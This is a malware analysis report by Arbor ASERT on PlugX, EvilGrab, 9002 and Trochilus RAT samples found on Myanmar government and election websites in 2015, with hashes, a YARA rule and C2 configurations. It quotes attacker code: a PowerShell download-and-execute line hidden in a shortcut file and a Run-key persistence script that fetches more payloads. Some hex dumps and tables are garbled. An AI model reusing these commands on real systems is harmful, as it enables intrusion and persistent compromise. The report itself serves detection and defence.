# ASERT Threat Intelligence Re ASERT Threat Intelligence R

## ASERT Threat Intelligence Report 2015-08 Uncovering the Seven Pointed Dagger Discovery of the Trochilus RAT and Other Targeted Threats

### **Executive Summary**

Previously, Arbor ASERT discovered indicators of the PlugX APT malware being used in a manner that suggested the country of Mynamar may have been a target, or involved in staging other campaigns towards other targets. Strategic Web Compromise (aka "Watering Hole") tactics involving the placement of PlugX and other malware were discovered on Mynamar government and other Myanmar related websites. Analysis of malware configuration suggested that Special Economic Zones (SEZs) in Myanmar were of interest to the threat actors. These findings were released by ASERT in a report called "Defending the White Elephant" found at <a href="https://asert.arbornetworks.com/defending-the-white-elephant/">https://asert.arbornetworks.com/defending-the-white-elephant/</a> [1].

In addition to ASERT, threat activity has been documented by Palo Alto Networks in June 2015 concerning a Strategic Web Compromise of the Myanmar Presidential website that leveraged the Evilgrab malware [2]. Their research also indicates instances of the 9002 RAT being used on the same web infrastructure. Later, Citizen Lab published a report "Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites" on October 16, 2015 that linked Arbor research to campaigns against an unnamed NGO [3]. These events involved the PlugX malware, EvilGrab, and the 3102 variant of the 9002 RAT.

After delivering our initial findings to the Myanmar CERT in August, additional malware was subsequently found on the Myanmar election site on October 20th, 2015 (now removed). Specifically, six RAR files - containing two instances of PlugX, EvilGrab, an unknown malware, and two instances of a **new** APT malware called the Trochilus RAT - plus an instance of the 3012 variant of the 9002 RAT were found. These seven discovered malware offer threat actors a variety of capabilities including espionage and the means to move laterally within targets in order to achieve more strategic access. As these seven malware appear to be wielded by a distinct actor group (known to collaborators at Cisco's Talos Group as "Group 27"), we are theatrically characterizing this cluster of malware as the Seven Pointed Dagger.

Information on threat actor TTP's can help other organizations increase awareness that can lead to greater resistance to and better detection of malice. ASERT continues to explore threat activity that has been uncovered and will provide additional reporting as needed.



#### **Report Overview and Major Findings**

The following infographic depicts the process by which the information in this report was uncovered. It can serve as a useful reference and to maintain context while following the written trail in the rest of this report.



#### Union Election Commission Website Malware: August-October, 2015

Several additional malware files were discovered on the Myanmar Union Election Commission (UEC) website since the prior report that was initially published on August 17, 2015 [4].

The presence of new malware after the initial notification process from Arbor indicates an ongoing compromise of the site and possibly related sites and suggests that a more diligent Incident Response process was required to discover all of the compromised infrastructure and victims of the malware activity.

These newer files and related content shall be analyzed herein.

#### Malware #1-6: Six RAR Files Containing PlugX, EvilGrab, an unknown malware, and the Trochilus RAT

As documented in the "Defending the White Elephant" paper, several RAR files containing malware were discovered on the UEC website in the past. As of October 20, 2015 a new file was discovered at http://www.uecmyanmar[.]org/dmdocuments/UEC-Invitation.rar and was present as of November 2015. Following the trail left by this malware has helped ASERT uncover other related threat activity to include a cluster of six malware packages stored in RAR file format on a staging/distribution server.

#### Malware #7: 3102 Variant of the 9002 RAT in Firefox Plugin

#### An additional malware file was stored at

http://www.uecmyanmar[.]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.php and was submitted to VirusTotal on August 21, 2015 from Japan and later on October 13 from Singapore. FlashVideoPlayer.php contained a ZIP file that stored a Firefox plugin, which was used to launch the 3102 variant of the 9002 RAT. Another instance of this RAT was also mentioned by Citizen Lab in their report, "Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites". The presence of the exact same RAT family inside the fake Firefox Plugin on the UEC website creates a link between this artifact and attacks on the unnamed NGO that were discussed inside the Citizen Lab report.

#### Malware set #1: Six RAR files (two PlugX, one EvilGrab, one unknown, two Trochilus RAT)

Figure 1: Screenshot of website containing additional malware (UEC-Invitiation.rar) as of October 20, 2015



The newly observed file, stored in a RAR, is a storage tactic that has been previously observed on the same site. Two prior filenames (discussed in the White Elephant report) were invitations.rar and PlanProposal.rar.

Inside the UEC-Invitation.rar file there is a folder called UEC Invitation that contains another folder called Invitation. Inside this folder is a shortcut file, Invitation.LNK with a timestamp of August 24, 2015. Analysis of the .LNK file turns up some interesting elements, such as the use of PowerShell inside the Target field, which performs a download and execute of additional malware.

Compatibilit	y Se	curity	Details	Previous \	/ersions					
General	Shortcut	Options	Font	Layout	Colors					
raiget type.	Applic									
Target location: System32										

Figure 2: Analysis of the .LNK file reveals malicious Powershell

Analysis of the LNK file metadata property store reveals some interesting aspects of the malware.



[Metadata Property Store]							
Property set GUID:	b725f130-47ef-101a-a5f:	č1-02608c9eebac					
ID:	System.ItemTypeText 🗧						
Value:	OxOO1f (VT_LPWSTR)	UNDP					
ID:	System.ItemTypeText 🕒						
Value:	OxOO1f (VT_LPWSTR)	File folder					
ID:	System.DateCreated						
Value:	OxOO40 (VT_FILETIME)	09/15/2014 (22:28:32.0) [UTC]					
ID:	System.DateModified						
Value:	OxOO40 (VT_FILETIME)	09/15/2014 (22:58:56.0) [UTC]					
Property set GUID:	dabd30ed-0043-4789-a7f8	3-d013a4736622					
ID:	System.ItemFolderPathD:	isplavNarrow					
Value:	OxOO1f (VT_LPWSTR)	Admin (C:\Users\admin\Desktop\Dropbox)					
Property set GUID:	28636aa6-953d-11d2-b5d	5-00c04fd918d0					
ID:	System.ParsingPath						
Value:	OxOO1f (VT_LPWSTR)	C:\Users\admin\Desktop\Dropbox\Admin\UNDP					

Figure 4: UNDP Myanmar – a possible target or lure?



**UNDP Myanmar** 

United Nations Development Programme in Myanmar. Empowered lives. Resilient nations.

- Yangon
- S mm.undp.org
- Joined November 2012

Of interest is the System.ItemTypeText value (a so-called "friendly name" of a Windows element that is displayed during the use of an application) of UNDP, which may stand for the United Nations Development Program, the UN's global development network. The Myanmar-focused page for the UNDP [www.mm.undp.org] describes their mission as follows: "In Myanmar, UNDP provides support to the national political and socio-economic reforms that underpin the country's transition". Therefore, the UNDP, or those that work with the UNDP may have been targeted and may still be a target.

The System.DateCreated and System.DateModified values show September 15, 2014, which could indicate that campaign activity has been underway for over a year. It is also possible that this date could be modified.

The next two fields of interest relate to the local filepath on the system that was used to create the LNK shortcut file.

System.ItemFolderPathDisplayNarrow and System.ParsingPath both reveal the presence of a Dropbox folder, and an Admin subfolder that contains another folder named UNDP. Using cloud storage facilities appears to be a known tactic of this group of actors, as they were observed utilizing Google Drive as described in "Targeted Attacks on an Environmental NGO" by CitizenLab. To our knowledge, these are the first signs that Dropbox may also have been used.

The powershell is as follows (brackets added to any malicious contents to prevent accidental clicks):

%windir%\System32\cmd.exe/c mode con cols=15 lines=1 & powershell (new-object System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/note.exe','%TEMP%\note.exe'); Start-Process '%TEMP%\note.exe'

The shortcut uses a command prompt to run PowerShell to invoke a System.Net.WebClient class to use the DownloadFile method to get note.exe from target site, store it in %TEMP% then run the file. This powershell basically performs a typical "download and execute" function of the file located at <a href="http://www.oma.org[.]tw/setup/note.exe">http://www.oma.org[.]tw/setup/note.exe</a>.

The <u>www.oma.org[.]tw</u> site is the "Occupational Medicine Association in R.O.C.". This site is or was insecure, as it had been compromised and defaced several times by apparently unrelated actors. The malware mentioned herein has since been removed.

#### Figure 5: Setup directory containing two malware



The payload of the first downloader, Note.exe also uses PowerShell to download and execute http://down.360safe.com/inst.exe, which is the 360Total Security (Qihoo 360) anti-malware app. PowerShell also downloads and executes the file Setup.exe from the same staging directory on www.oma.org[.]tw/setup/.

Note.exe creates a persistence mechanism by creating a file called StartON.bat which is then added to the Windows registry. The relevant code is as follows:

start/min powershell (new-object System.Net.WebClient).DownloadFile('http://down.360safe[.]com/inst.exe', 'C:\\ProgramData\\ChromeDel.exe'); Start-Process -Wait -FilePath C:\\ProgramData\\ChromeDel.exe

echo start/min powershell (new-object

System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/Setup.exe', 'C:\\ProgramData\\ChromeDel.exe'); Start-Process 'C:\\ProgramData\\ChromeDel.exe'>C:\\ProgramData\\StartON.bat

reg add HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v StartON /t reg\_sz /d C:\\ProgramData\\StartON.bat /f

Setup.exe executes and drops two files: 'data.dat' and 'shell.dll' into the WEventsCache folder. Data.dat appears to be encrypted, and shell.dll attempts to pose as a binary associated with the UltraEdit application. Shell.dll appears to be a helper application known to its developers as Servant Shell. Based on review of the

code of the Trochilus RAT discovered by ASERT, shell.dll is a file generated when the RAT is compiled.

A YARA rule for discovering additional samples of ServantShell was created.

```
// servantshell.yara 10/26/15
// Arbor Networks ASERT Nov 2015
rule servantshell {
  strings:
    $string1 = "SelfDestruction.cpp"
    $string2 = "SvtShell.cpp"
    $string3 = "InitServant"
    $string4 = "DeinitServant"
    $string5 = "CheckDT"
    condition: all of them
}
```

A relatively new feature of VirusTotal called RetroHunt was used with this YARA rule to discover other samples of this malware. The malware appears to be rare - out of 80 terabytes of malware stored inside VirusTotal at the time of search, only eight additional samples were discovered. One sample clearly revealed information about where the malware had been found in the wild. The location of a file analyzed by VT on 9-30-2015 was found on the staging/storage server and is still present at the time of this writing.

Figure 6: Malware archive contains six APT-level threats

Index of /cache/mod_custom/update									
[ICO]	Name	Last modified	Size Description						
[DIR]	Parent Directory		-						
[]	Patch-update0409BAN.rar	10-Apr-2015 10:38	493K						
[]	Patch-updateYBbyYB.rar	03-Jun-2015 12:51	568K						
[]	Security-Patch-Updat>	09-Oct-2015 16:16	90K						
[]	Security-Patch-Updat>	02-Sep-2015 13:41	179K						
[]	Update-Patch.rar	21-Oct-2015 11:42	600K						
[]	Update-Patch09999999.rar	23-Sep-2015 12:09	599K						

This URL is hosted in an open directory where several other malware samples have been stored in the form of RAR files, and reveals a grouping of malware utilized in this and perhaps other campaigns. This site has been reported to the Myanmar CERT for incident response. New content has been added to the site as of Dec 10, 2015 (not reflected in the image to the left).

The "Last modified" field suggests that this webserver has been used as a file staging location since at least April 10 of 2015. The first

indicators of passive DNS activity on this domain name were observed on April 10 at 03:20:28. While further research is required to gain a better understanding of the distribution system at play, analysis of these files can provide insight into the threat campaign(s) at hand.

The relevant file hashes, datestamps, and other data about the RAR files follows. An indented bullet means

that the prior bullet was an archive or installer file that contained the indented files. For example, in the first sample, Patch-update0409BAN.rar contained Setup.exe, SqmApi.dll, and plgus\_res.dll. The file plgus\_res.dll is an installer file that contains the five innermost files listed (starting with mcf.ep and ending with res.db). This format shall be used throughout the document. Files shall be discussed in date order, in order to get a sense of threat actor timelines and capabilities.

#### Sample #1: PlugX

- MD5 (Patch-update0409BAN.rar) = 70f1a9ee69cea1b0f53099eb27753895 April 10, 2015
  - MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
  - MD5 (SqmApi.dll) = 660aa2b9375aaa8e0c1748974f130ba3
  - MD5 (plgus\_res.dll) = c91a22de0d7010b334c6010f6bd67462
    - MD5 (mcf.ep) = 627aebf89b0771440cf7aa8e0a4db296
    - MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71
    - MD5 (mcutil.dat) = f02925b8d510e35cc33d662d2311f671
    - MD5 (mcutil.dll) = 72e59f6e07a7f9981ef98b541a05628c
    - MD5 (res.db) = a453bb1f1b5bb3f4810e38290190516c

Run-time files are placed into the TaskSchedulerCUDL folder, as specified in the PlugX configuration. Several of the files stored here are hidden from typical view using the System, Hidden attributes. The purpose of the long, apparently randomly named, files is a topic for further investigation.

Attribute	File path and name	MD5 hash		
А	C:\ProgramData\TaskSchedulerCUDL\lpversudxi	5f66c2e2679585d4e46a9a6a2b488bc5		
SH	C:\ProgramData\TaskSchedulerCUDL\mcf.ep	627aebf89b0771440cf7aa8e0a4db296		
SH	C:\ProgramData\TaskSchedulerCUDL\mcf.exe	884d46c01c762ad6ddd2759fd921bf71		
	%AppData%\Local\Temp\RarSFX0\mcf.exe			
SH	C:\ProgramData\TaskSchedulerCUDL\mcutil.dll	56809e68c70179bc88eb980aa313c89a		
	%AppData%\Local\Temp\RarSFX0\mcutil.dll			
Α	C:\ProgramData\TaskSchedulerCUDL\ufbidruosivibuted	4893758ff2ce2d6eeacbf5577f149301		

Table 1: PlugX filesyste	em activity
--------------------------	-------------

Analysis of network traffic reveals that this malware makes an outbound connection to 222.222.222[.]222 on TCP/9999, a connection that has been seen in several other samples in the original cluster of six. During our analysis, this port was always non-responsive, yet attempted connections to 222.222.222[.]222 on TCP/9999 should be cause for concern. Next, the malware issues a DNS query for webhttps.websecexp[.]com, and receives a DNS response of 114.108.136[.]15. A connection to TCP/443 was then observed to this IP address. The use of port 443 is leveraged by the malwares own protocol (it is not SSL/TLS). A visual representation of the obfuscated traffic is included herein (red = client, blue = server).

Figure 7: Obfuscated PlugX connection to C2

00000000 ee ca 1b 73 c3 50 61 7f a2 02 dc 61 61 29 e4 fds.Paaa)
00000010 62 16 27 85 6f 40 11 b0 22 84 10 61 56 27 00 c4 b 00 2V
00000020 d5 T3 4C 19 63 96 54 T0 16 C1 9D d1 eD 0e C3 62L.C.TD
00000030 52 12 1a R
00000000 ad 6d a8 56 8c 5f 9d b8 99 d9 32 0c d0 a0 25 5e m.V 2%
00000020 CI 90 20 60 6a 51 er 5C a/ 6e 35 46 45 18 T4 be& JQ. \ .h5FE
00000030 80 f3 c2 89 7e fa 20 d8 2e 32 8b 99 95 c5 c3 28~2(
00000040 a9 e7 52 7b c2 9c dd
00000033 61 37 0e 55 0d 8c 9d 36 a9 1a 01 5c 0c bb 0b 33 a7 u 6 3
00000045 9a 57 78 8a 51 bl 9c 56 4c 1a c7 15 0c ao 8e cb .wx 0 L
00000053 56 4C CI 2d 9a 8C 82 2d 69 CT 46 CE 88 40 TT 29 VL 1.F@.)
00000063 b2 07 42 8e 4f 7b ee 93 98 fb ad 3a 10 c1 bf dfB.o{
00000073 72 54 d5 6a 44 37 df 0a 55 62 91 91 14 91 f0 7f rT.ip7 ub
00000083 d8 88 38 1b 18 23 37 32 53 27 77 5c 16 d5 23 b7 $*$ 2 $7 w$
00000000 bb fc d5 10 10 20 an 52 50 27 77 55 16 05 20 57 2 2 W(
00000095 bb 10 d5 18 10 70 e8 14 bb 07 41 cc b6 ae 02 16
000000A3 // 3T DI 23 50 99 66 Ta 3a 30 50 95 80 2a d/ 20 W?.#J.n. :0J*
000000B3 36 47 ce c0 f9 f4 6e 05 62 12 d7 cb 3e 79 4a 0a 6Gn. b>yJ.
000000c3 94 a9 c7 f2 15 b6 bc 9d 36 66 c7 d1 db 2e 6b 2d 6fk-
000000D3 94 87 05 12 e6 2e 40 a1 9f a3 9f 83 0a 92 51 47
000000F3 9D as 4D ea 18 37 62 es 33 e9 se 10 81 d2 93 D3
00000103 32 23 ca 5c 11 b4 eb 95 55 14 c5 a1 ad 81 30 c7 2#.\ U0.
00000113 9d 1b 84 38 1d 59 7b 11 b1 df 46 7f a3 d1 61 d88.Y{Fa.
00000123 31 a4 eb 16 0e 1
$00000047$ 9e e0 7b 8d a0 28 aa c7 e3 69 79 79 f1 1c 16 aa { ( ivy)
00000037 10 37 12 ao az zo ad 01 29 39
00000061 a5 34 T3 62 73 53 e9 e3 79 33 74 24 ac 84 35 88 .4.DSS y3t\$5.
00000071 34 12 2e 83 71 53 e9 fb 73 03 4qs s.
0000007в df 1b 65 c1 f7 f3 19 b7 df 19 56 b6 82 72 1f 49evr.I
00000088 a4 eb ba 62 f5 f3 19 af d5 29
00000005 4d 83 08 03 d3 58 74 86 43 f3 24 00 02 51 16 08 M Xt 1 \$ 0
00000000 40 6a 66 0a da 56 74 66 4a 1a 24 66 62 51 16 66 MXt. 3
000000A5 TI db 97 d7 d8 58 74 9e 40 Ca
000000AF 9C 66 62 C6 db 6t 35 43 e9 eb eb 32 C2 at 95 ae .tbo5C2
000000BF af 57 1a 03 d9 6f 35 5b e3 db .wo5[
000000009 5d 59 c1 c3 e4 34 64 3c ae cc ac 85 4e e1 5b f5 $]Y4d $
00000009 67 db 36 a4 e6 34 64 24 a4 fc
00000053 ff 27 c6 at b2 20 at 20 c2 da 52 69 82 19 a2 4b 7 ) ph
00000023 11 37 C0 E1 05 29 at 09 C5 da 32 00 02 10 E2 40 .7)
000000F3 e3 43 3a e8 p1 29 at 91 C9 ea
000000FD 6t 5t 21 d7 b4 4c e5 8c de 04 2c 3d 2d 0d 47 b1 o_!L,=G.
0000010D 1b e4 a5 f4 b6 4c e5 94 d4 34L4

Network activity from this sample triggers the following Emerging Threats signature (based on a DNS lookup of a known malicious domain):

[2021960] ET TROJAN PlugX or EvilGrab DNS Lookup (websecexp.com) (rev: 1)

The full configuration of this PlugX sample is as follows:

```
Sample Properties:
[plugx] cnc: appeur.gnway.cc:90
[plugx] cnc: webhttps.websecexp.com:443
[plugx] cnc: usacia.websecexp.com:53
[plugx] cnc: usafbi.websecexp.com:25
[plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP)
[plugx] cnc2: usafbi.websecexp.com:25 (UDP)
[plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP)
[plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP)
[plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP)
[plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP)
[plugx] cnc_auth_str: 0409 ARP CUDLL
[plugx] dns: 168.126.63.1
[plugx] dns: 61.4.64.4
[plugx] dns: 8.8.8.8
[plugx] dns: 203.81.64.18
[plugx] enable_icmp_p2p:
                           0
[plugx] enable_ipproto_p2p: 0
[plugx] enable_p2p_scan:
                           0
[plugx] enable_tcp_p2p:
                           0
[plugx] enable_udp_p2p:
                           0
```

[plugx] flags1: 42949	67295							
[plugx] flags2: 0								
[plugx] hide_dll: -1								
[plugx] http://hi.baidu	1.com/nvcvrclsnzaioxe/item/5e101810ed4197b665eabf							
[plugx] icmp_p2p_port:	1357							
[plugx] injection: 1								
[plugx] inject_process:	%windir%\system32\svchost.exe							
[plugx] inject_process:	%ProgramFiles%\Internet Explorer\iexplore.exe							
[plugx] inject_process:	%windir%\explorer.exe							
[plugx] inject_process:	%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe							
[plugx] install_folder:	%AUT0%\TaskSchedulerCUDL							
[plugx] ipproto_p2p_port:	1357							
[plugx] keylogger: -1								
[plugx] mac_disable: 00:00:	00:00:00							
[plugx] mutex: Global	\eNzAMQgOXyITQMt							
[plugx] persistence: Service	e + Run Key							
[plugx] plugx_auth_str:	open							
[plugx] reg_hive: 21474	83649							
[plugx] reg_key: Softwa	.re\Microsoft\Windows\CurrentVersion\Run							
[plugx] reg_value: McAfe	eME							
[plugx] screenshot_folder:	%AUT0%\TaskSchedulerCUDL\bNjWcdOXFiQIME							
[plugx] screenshots: 0								
[plugx] screenshots_bits:	16							
[plugx] screenshots_keep:	3							
[plugx] screenshots_qual:	50							
[plugx] screenshots_sec:	10							
[plugx] screenshots_zoom:	50							
[plugx] service_desc:	Windows McAfeeOEMInfo Service							
[plugx] service_display_nan	ne: McAfeeOEMInfoME							
[plugx] service_name:	McAfeeOEMInfoME							
[plugx] sleep1: 10066	3296							
[plugx] sleep2: 0								
[plugx] tcp_p2p_port:	1357							
[plugx] uac_bypass_inject:	%windir%\explorer.exe							
[plugx] uac_bypass_inject:	%windir%\system32\dllhost.exe							
[plugx] uac_bypass_inject:	%windir%\system32\msiexec.exe							
[plugx] uac_bypass_inject:	%windir%\system32\rundll32.exe							
[plugx] uac_bypass_injection	n: 1							
[plugx] udp_p2p_port:	1357							

Some interesting elements about this sample configuration reveal an infrastructure overlap with the PlugX samples profiled in the "Defending the White Elephant" paper. In addition to the fact that the samples were present on the same staging/storage server, overlapping configurations add weight to the idea that the same group of actors is involved. As far as deriving additional meaning from other elements in the configuration, the cnc\_auth\_str value of "0409 ARP CUDLL" may be meaningful, and may indicate that the malware was built/configured on April 09 (and placed on the staging server the next day, indicated by the webserver timestamp). The "http" parameter pointing to a baidu.com site is used to deliver C2's to PlugX in the event that all the C2 in the configuration are non-responsive. In this case, this content was unable to be recovered from the Baidu site. Each PlugX sample reviewed here sometimes has configuration overlap with other samples, which could indicate default values, or potentially values from previous campaigns that were not removed. Somewhat distinct groups of actors wielding PlugX may potentially be profiled from unique

configuration values across samples.

#### Sample #2: PlugX

- MD5 (Patch-updateYBbyYB.rar) = 63a463f2c18676d868d39785a48f073a June 3, 2015
  - MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
  - MD5 (SqmApi.dll) = 1177bf095bc3673a7373ead852af3f6c
  - MD5 (plgus\_res.dll) = 69a00ee1aa56852bbd28bb9d9765b43c
    - MD5 (Google.com.Logo) = 02c2450c19bc21391ba2835edf2dd745
      - MD5 (mcf.ep) = 57cc1ec6470e31ef20abde8e611125b5
      - MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71
      - MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e
    - MD5 (Norman.exe) = 23a3f48df4b36e3d2e63cde4b85cf4fa
    - MD5 (elogger.dll) = 5ff63e07a481e8768b3ef4d9ee91f13d
  - MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71
  - RarSFX1/ folder
    - MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e

#### Figure 8: Signed Norman.exe file used for DLL sideloading

Gene	eral Details Cer	tification Path									
	Certificate Information										
	This certificate is intended for the following purpose(s): <ul> <li>Ensures software came from software publisher</li> <li>Protects software from alteration after publication</li> </ul>										
-	* Refer to the cer	tification authority's statement for details.									
	Issued to: Norman AS										
	Issued by:	VeriSign Class 3 Code Signing 2010 CA									
	Valid from	10/ 10/ 2012 <b>to</b> 10/ 11/ 2015									

Running setup.exe results in an "update install success" dialog box, followed by an attempted TCP connection to the previously mentioned site 222.222.222[.]222 on TCP/9999.

One of the supporting files inside the plgus\_res.dll archive is Norman.exe, a legitimate binary with the original name of zlh.exe known as the "Program Manager Stub" which is apparently created and signed by Norman AS. The certificate was valid from 10/10/2012 - 10/11/2015, overlapping with the timestamp used on the RAR file.

The elogger.dll file executes (with WinExec) the file Google.com.Logo that was included in the same directory to add one additional layer of unpacking. Once the file Google.com.Logo is executed, it is removed from disk. Google.com.Logo is a RAR file that contains mcf.ep, mcf.exe, and mcutil.dll. Following the execution path of these files results in another instance of PlugX which is using the previously observed sites webhttps.websecexp[.]com, usafbi.websecexp[.]com, usacia.websecexp[.]com, and appeur[.]gnway.cc as C2, and a supplemental C2 pointer stored at <a href="http://epn.gov[.]co/plugins/search/search.html">http://epn.gov[.]co/plugins/search/search.html</a> that was previously documented in our paper "Defending the White Elephant".

The complete PlugX configuration used in this sample is as follows:

```
[plugx] cnc: appeur.gnway.cc:90
[plugx] cnc: webhttps.websecexp.com:443
[plugx] cnc: usacia.websecexp.com:53
[plugx] cnc: usafbi.websecexp.com:25
[plugx] cncl: webhttps.websecexp.com:443 (TCP / HTTP)
[plugx] cnc2: usafbi.websecexp.com:25 (UDP)
[plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP)
[plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP)
[plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP)
[plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP)
[plugx] cnc_auth_str: 0528 ARPYB
[plugx] dns: 168.126.63.1
[plugx] dns: 180.76.76.76
[plugx] dns: 8.8.8.8
[plugx] dns: 203.81.64.18
[plugx] enable_icmp_p2p:
                          0
[plugx] enable_ipproto_p2p: 0
[plugx] enable_p2p_scan:
                          Ο
[plugx] enable_tcp_p2p:
                          0
[plugx] enable_udp_p2p:
                          0
[plugx] flags1:
                   4294967295
                   0
[plugx] flags2:
[plugx] hide_dll:
                   -1
[plugx] http://epn.gov.co/plugins/search/search.html
[plugx] icmp_p2p_port:
                          1357
[plugx] injection:
                   1
[plugx] inject_process:
                          %windir%\system32\svchost.exe
                          %ProgramFiles%\Internet Explorer\iexplore.exe
[plugx] inject_process:
                          %windir%\explorer.exe
[plugx] inject_process:
                          %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
[plugx] inject_process:
[plugx] install_folder:
                          %AUTO%\TempLog
[plugx] ipproto_p2p_port:
                          1357
[plugx] keylogger: -1
[plugx] mac_disable: 00:00:00:00:00:00
                   Global\doWcQFXMASDGYkATMXXeKSsQ
[plugx] mutex:
[plugx] persistence: Service + Run Key
[plugx] plugx_auth_str:
                          open
[plugx] reg_hive:
                   2147483649
                   Software\Microsoft\Windows\CurrentVersion\Run
[plugx] reg_key:
[plugx] reg_value:
                   EventLog
[plugx] screenshot_folder:
                          %AUTO%\TempLog\bSHAMAPUKhFs
[plugx] screenshots: 0
[plugx] screenshots_bits:
                          16
[plugx] screenshots_keep:
                          3
[plugx] screenshots_qual:
                          50
[plugx] screenshots_sec:
                          10
[plugx] screenshots_zoom:
                          50
[plugx] service_desc:
                          Windows Management EventLogs
[plugx] service_display_name:
                                 Windows Management EventLogs
[plugx] service_name:
                          Windows Management EventLogs
[plugx] sleep1:
                   83886080
```

[plugx] sleep2:0[plugx] tcp\_p2p\_port:1357[plugx] uac\_bypass\_inject:%windir%\explorer.exe[plugx] uac\_bypass\_inject:%windir%\system32\dllhost.exe[plugx] uac\_bypass\_inject:%windir%\system32\msiexec.exe[plugx] uac\_bypass\_inject:%windir%\system32\rundll32.exe[plugx] uac\_bypass\_injection:1[plugx] uac\_bypass\_injection:1[plugx] uac\_bypass\_injection:1

Interesting observations of this sample include the cnc\_auth\_str of "0528 ARPYB" which may indicate the malware creation or configuration date of Thursday, May 28, 2015. The staging date from the webserver timestamp is Wednesday June 3, 2015, possibly indicating that the threat actors did not work over the weekend. The presence of the common value "ARP" between PlugX samples #1 and #2 could indicate someone's initials or have some other meaning that is not known. The four DNS IP addresses in the configuration file feature three of the same entries in sample #1, but this configuration reveals the addition of the DNS IP address 180.76.76[.]76, which resolves to public-dns-a.baidu[.]com. The injection\_process values and the uac\_bypass\_inject values are the same between sample #1 and sample #2, but some other minor changes to the configuration were also observed.

#### Sample #3: Unknown Malware

- MD5 (Security-Patch-Update333.rar) = 5ed8b90a8d5cabda83fc814e2bbd9600 September 2, 2015
  - MD5 (Security-Patch-Update.exe) = 82896b68314d108141728a4112618304
    - Security-Patch-Update.exe is a binary signed by Binzhoushi Yongyu Feed Co.,LTd
    - The certificate is valid from 1/16/2014 1/17/2016.
  - Execution of this malware creates an "Internet Explorer" folder that contains the following files:
    - MD5 (conhost.exe) = f70b295c6a5121b918682310ce0c2165
      - Appears to be a legit SandboxIE file, originally named SandboxieBITS.exe that is signed by SANDBOXIE L.T.D. ASERT has 20 instances of this file being used in malware operations. Additionally, analysis of the files PEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57) reveals 47 instances of the same or slightly modified file being used in various PlugX operations since at least 2013. This file imports functions from SBIeDII.dll.
    - MD5 (SBieDll.dll) = 6c5f17cbd4d0f95fd8f9563219838a05
      - This file has its import section destroyed, suggesting that it is obfuscated and malicious and not a legitimate SbieDII.dll file. Additionally, the first instruction inside the DIIEntryPoint is "pusha" which places the contents of all the registers on the stack and is often observed in packed malicious code. This DLL file is sideloaded by conhost.exe.
    - MD5 (dll2.xor) = 8477f2b4602c552fad68f8c192beeebf
      - Based upon the filename, this may be an XOR-ed DLL file. Additional analysis is required.
    - MD5 (maindll.dll) = d8ede9e6c3a1a30398b0b98130ee3b38

- This binary is obfuscated and requires further analysis.
- MD5 (nvsvc.exe) = e0eb981ad6be0bd16246d5d442028687
  - This file uses Microsoft Foundation Classes (MFC) and is signed by Square Network Tech Co.,LTD from the city of Zhongshan, Guangdong province, China on November 12, 2014 at 9:01:58 PM (CN = Square Network Tech Co.,LTD (O = Square Network Tech Co.,LTD. L = Zhongshan, S = Guangdong, C = CN). The digital signature contains an attribute field 1.3.6.1.4.1.311.2.1.12 that lists the string "Microsoft Windows Shell explorer https:www.trustasia.com" and was valid from Feb 21, 2014 – Feb 22, 2015. Trustasia.com is a digital certificate provider in Shanghai, China.
- MD5 (runas.exe) = 6a541de84074a2c4ff99eb43252d9030
  - This file contains a jump table with 7 cases, each leading to one of the five files dropped by the malware, with two additional files referenced that are not present: HOOK.DLL and mon.

Further research and investigation is pending. To provide some limited initial insight, we can observe the presence of some interesting strings in memory as such:

"admin  0902"
"lqaz&wsx3edc"
.data:0042C400 00000029 C \\Microsoft\\Internet Explorer\\conhost.exe
.data:0042C42C 00000026 C \\Microsoft\\Internet Explorer\\dll2.xor
.data:0042C454 00000029 C \\Microsoft\\Internet Explorer\\maindll.dll
.data:0042C480 00000029 C \\Microsoft\\Internet Explorer\\SBieDll.dll
.data:0042C4AC 00000027 C \\Microsoft\\Internet Explorer\\nvsvc.exe
.data:0042C4D4 00000027 C \\Microsoft\\Internet Explorer\\runas.exe
.data:0042C4FC 0000000F C %USERPROFILE%\\
.data:0042C50C 00000011 C Application Data
.data:0042C520 0000000E C AppData\\Local
.data:0042C534 000000C C SHGetValueA
.data:0042C540 0000000C C Shlwapi.dll
.data:0042C54C 00000020 C SOFTWARE\\Micropoint\\Anti-Attack
.data:0042C56C 00000009 C MP100000
.data:0042C578 00000012 C SOFTWARE\\JiangMin
.data:0042C58C 0000000C C InstallPath
.data:0042C598 00000014 C SOFTWARE\\rising\\RAV
.data:0042C5AC 0000000C C installpath
.data:0042C5B8 0000001C C SOFTWARE\\Avira\\Avira Destop
.data:0042C5D4 00000005 C Path
.data:0042C5DC 0000001C C SOFTWARE\\kingsoft\\Antivirus
.data:0042C5F8 00000009 C WorkPath
.data:0042C604 00000011 C Software\\360safe
.data:0042C618 000000C C DefaultSkin
.data:0042C624 00000018 C SOFTWARE\\360Safe\\Liveup
.data:0042C63C 00000005 C curl
.data:0042C644 000000D C 1qaz2wsx3edc

This sample never generated any network activity during automated or manual analysis. Further analysis is required to obtain deeper insight into this sample (ASERT sample ID 29048791).

#### Sample #4: The Newly Discovered Trochilus RAT

